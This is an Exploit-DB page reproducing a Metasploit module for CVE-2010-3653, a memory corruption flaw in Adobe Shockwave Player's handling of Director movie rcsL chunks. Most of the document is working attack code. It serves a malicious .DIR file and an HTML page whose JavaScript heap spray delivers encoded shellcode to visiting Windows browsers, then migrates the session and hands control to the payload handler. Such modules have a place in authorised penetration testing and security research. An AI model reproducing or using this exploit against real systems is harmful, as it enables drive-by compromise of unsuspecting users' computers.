标题: Adobe Shockwave Player - rcsL Memory Corruption (Metasploit) EDB-ID: 16594 CVE: 2010-3653 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-22 漏洞利用脚本: ##
# $Id: adobe_shockwave_rcsl_corruption.rb 10784 2010-10-22 12:21:30Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Shockwave rcsL Memory Corruption',
   'Description'    => %q{
     This module exploits a weakness in the Adobe Shockwave player's handling of
    Director movies (.DIR). A memory corruption vulnerability occurs through an undocumented
    rcsL chunk. This vulnerability was discovered by http://www.abysssec.com.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>'],
   'Version'        => '$Revision: 10784 $',
   'References'     =>
    [
     [ 'CVE', '2010-3653'],
     [ 'OSVDB', '68803'],
     [ 'URL', 'https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15296.zip' ],
    ],
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x09\x0a\x0d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic',     { 'Ret' => 0x0a0a0a0a } ], # tested on XP SP2 and XP SP3
    ],
   'DisclosureDate' => 'Oct 21 2010',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 #
 # When exploit is called, load the exploit.dir file
 #
 def exploit

  path = File.join( Msf::Config.install_root, "data", "exploits", "shockwave_rcsl.dir" )
  fd = File.open( path, "rb" )
  @dir_data = fd.read(fd.stat.size)
  fd.close

  super
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  dirname = rand_text_alpha(rand(20))
  shellcode_rand = rand_text_alpha(rand(20))

  # payload encoding
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # build the exploit
  content = %Q|
<html>
<head>
<title>msf</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
#{shellcode_rand} = unescape('#{shellcode}');

nops=unescape('%u0a0a%u0a0a');
headersize =20;
slackspace= headersize + #{shellcode_rand}.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x200000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + #{shellcode_rand};
</script>
</head>
<body bgColor="#FFFFFF">
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=Abysssec width=600 height=430 VIEWASTEXT>
<param name=src value="#{dirname}.DIR">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=fill>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
<embed src="#{dirname}.DIR" bgColor=#FFFFFF  width=600 height=430 swRemote="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' " swStretchStyle=fill
type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>
</object>
</body>
</html>
|

  # Transmit the response to the client
  path = request.uri
  if (path =~ /\.DIR/i)
   print_status("Sending exploit DIR to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, @dir_data, { 'Content-Type' => 'application/octet-stream' })
  else
   print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...")
   send_response_html(cli, content)
  end

  # Handle the payload
  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16594